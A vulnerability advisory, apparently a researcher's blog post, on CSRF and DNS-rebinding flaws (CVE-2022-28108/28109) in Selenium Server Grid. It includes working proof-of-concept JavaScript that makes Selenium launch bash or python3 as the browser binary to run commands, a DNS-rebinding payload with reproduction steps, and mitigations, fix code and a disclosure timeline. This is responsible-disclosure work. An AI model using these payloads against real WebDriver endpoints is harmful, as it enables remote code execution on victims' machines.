CSRF and DNS-rebinding to RCE in Selenium Server (Grid)

Feb 7 2022

computer security web vulnerability webdriver csrf dns-rebinding advisory

CVE-2022-28108 CVE-2022-28109

Previous episode: DNS rebinding vulnerability to RCE in geckodriver

Next episode: Browser-based attacks on WebDriver implementations

Vulnerabilities in found on the WebDriver endpoints of Selenium Server (Grid).

Selenium Server (Grid) is vulnerable to Cross-Site Request Forgery (CSRF) and DNS-rebinding attacks. This is CVE-2022-28108 and CVE-2022-28109 respectively. These vulnerabilities can be exploited to execute arbitrary system commands (remote command execution) through both geckodriver and chromedriver. This was fixed in 4.0.0-alpha-7.

CSRF

Proof-of-concept

In this example, we show how we can achieve RCE with CSRF through geckodriver:

```
async function main() {
  await fetch("http://localhost:4444/wd/hub/session", {
      method: "POST",
      mode: 'no-cors',
      headers: {
          'Content-Type': 'text/plain'
        },
      body: JSON.stringify({
        "capabilities": {
          "alwaysMatch": {
            "browserName": "firefox",
            "moz:firefoxOptions": {
              "binary": "/bin/bash",
              "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
          }
        }
      }),
  });
}
main();
```

This vulnerability has been tested on:

- geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000);
- ChromeDriver 81.0.4044.92 (e98e6f21168a55e7ba57202f56323911cd9d31d1-refs/branch-heads/4044@{#883});
- Debian testing.

Note that as part of the fix for CVE-2020-15660, newer versions of GeckoDriver do not execute arbitrary code through this method. It is however possible to execute arbitrary code by shipping custom Firefox configuration:

It is possible to execute arbitrary code through chromedriver as well:

```
fetch("http://localhost:4444/wd/hub/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {
                "browserName": "chrome",
                "goog:chromeOptions": {
                    "binary": "/usr/bin/python3",
                    "args": ["-cimport os;os.system('xterm -e nyancat')"]
                }
            }
        }
    }),
});
```

Mitigations

Content-Type Validation

CSRF is possible because selenium-standalone-server accepts requests with any `Content-Type`. Another origin can make POST requests to selenium-standalone-server using the following content-types: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`.

selenium-standalone-server could fix this vulnerability by rejecting these content-types. selenium-standalone-server could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers (a similar issue has been reported on another implementation). The specification should explicitly allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionally, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.

HTTP-level Authentication

An new command-line flag could be added to selenium-standalone-server in order to enable some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.

PF_LOCAL Socket

selenium-standalone-server could receive a new option to listen on a `PF_LOCAL` socket. These sockets are normally not accessible by CSRF. This could additionally be used to prevent other users on the same machine from talking to the selenium-standalone-server instance.

DNS REBINDING

Selenium server is vulnerable to DNS rebinding attacks. In contrast to the Crossite-Site Request Forgery (CSRF), when using this vulnerability, an attacker can see the responses of the attacked Selenium server instance. The attacker can thus interact with the created WebDriver session. This could be used:

- to attack local services (localhost-bound or on the local network);
- to attack remote services using the IP address of the victim;
- reading local files (by navigating to `file://`);
- running other programs by navigating to URIs with other schemes;
- remote code execution.

This vulnerability has been tested on:

- Mozilla Firefox Nightly 80.0a1 (2020-07-13)
- Chromium 83.0.4103.116 built on Debian bullseye/sid, running on Debian bullseye/sid
- ChromeDriver 83.0.4103.116 (8f0c18b4dca9b6699eb629be0f51810c24fb6428-refs/branch-heads/4103@{#716})
- geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
- selenium-server-4.0.0-alpha-6.jar
- Debian testing

Reproduction steps

Run selenium server:

```
java -jar selenium-server-4.0.0-alpha-6.jar standalone --port 555
```

The following JavaScript payload served from a HTTP web server using the same port number as Selenium (eg. TCP 5555) may be used to trigger the vulnerability:

```
function sleep(delay) {
  return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
  while (true) {
    const response = await fetch("/wd/hub/session", {
        method: "POST",
        mode: "same-origin",
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          "capabilities": {
            "alwaysMatch": {
              "browserName": "firefox"
            }
          }
        })
    });
    if (response.status >= 200 && response.status < 300)
      return response.json();
    await sleep(1000);
  }
}
async function main() {
  const creation = await createSession();
  const sessionId = creation.value.sessionId;
  const sessionPath = "/wd/hub/session/" + sessionId;
  fetch(sessionPath + "/url", {
    method: "POST",
    mode: "same-origin",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      "url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
    })
  });
}
main();
```

The browser user must access this web server using a DNS rebinding domain name. For example using whonow:

```
http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:5555/
```

Mitigations

Selenium server is vulnerable to DNS rebinding attacks because it is accepting requests using arbitrary `Host` header (eg. `Host: rebind.netlib.re:4444`). By checking the value of the `Host` header and enforcing values such as `localhost:444`, we can prevent DNS rebinding attacks.

Resolution

In 2020-06-10, I checked selenium-server-4.0.0-beta-4. and found that changes were merged in commit 48a54517e9e5c8fd7b619b8199398fae03199892 releases the 10th July 2020. This was fixed in 4.0.0-alpha-7.

CSRF protection

It is apparently not vulnerable to CSRF because it checks the `Content-Type` header.

```
public static final String JSON_UTF_8 = "application/json; charset=utf-8";

// [...]

String type = req.getHeader("Content-Type");
if (type == null) {
  return NO_HEADER;
}

try {
  if (!MediaType.JSON_UTF_8.equals(MediaType.parse(type))) {
    return badType(type);
  }
} catch (IllegalArgumentException e) {
  return badType(type);
}
```

DNS rebinding protection

Some DNS rebinding protection has been implemented. However, Selenium server does not check the `Host` header but only checks the `Origin` header (if present). As a consequence, it is not vulnerable to DNS rebinding attacks through evergreen browsers but could be vulnerable through other (older) browsers.

```
String origin = req.getHeader("Origin");
if (origin != null && !allowedHosts.contains(origin)) {
  return new HttpResponse()
    .setStatus(HTTP_INTERNAL_ERROR)
    .addHeader("Content-Type", JSON_UTF_8)
    .setContent(Contents.asJson(ImmutableMap.of(
      "value", ImmutableMap.of(
        "error", "unknown error",
        "message", "Origin not allowed: " + origin,
        "stacktrace", ""))));
}
```

Impact

The Selenium doc says the following:

> **Warning**
>
> The Selenium Grid must be protected from external access using appropriate firewall permissions.
>
> Failure to protect your Grid could result in one or more of the following occurring:
>
> - You provide open access to your Grid infrastructure
> - You allow third parties to access internal web applications and files
> - You allow third parties to run custom binaries
>
> See this blog post on Detectify, which gives a good overview of how a publicly exposed Grid could be misused: Don't Leave your Grid Wide Open

However, the CSRF and DNS-rebinding attacks can be used to bypass firewall permissions. If some browser in the local network visits a malicious website, this website could exploit the browser to reach WebDriver endpoint and execute arbitrary code. This include browser instances launched by Selenium itself.

References

- WebDriver

Timeline

- 2020-06-30, Reported CSRF vulnerability to Selenium Team
- 2020-07-14, Reported DNS-rebinding to Selenium Team
- 2020-07-03, Worked with Selenium team to help them reproduce the bug and got confirmation
- 2020-07-10, Fixes developed

- 2021-06-10, Checked against latest beta (selenium-server-4.0.0-beta-4)
- 2021-06-10, Asked for update and disclosure schedule
- 2021-06-12, Requested CVE IDs
- 2022-04-16, CVE IDs allocated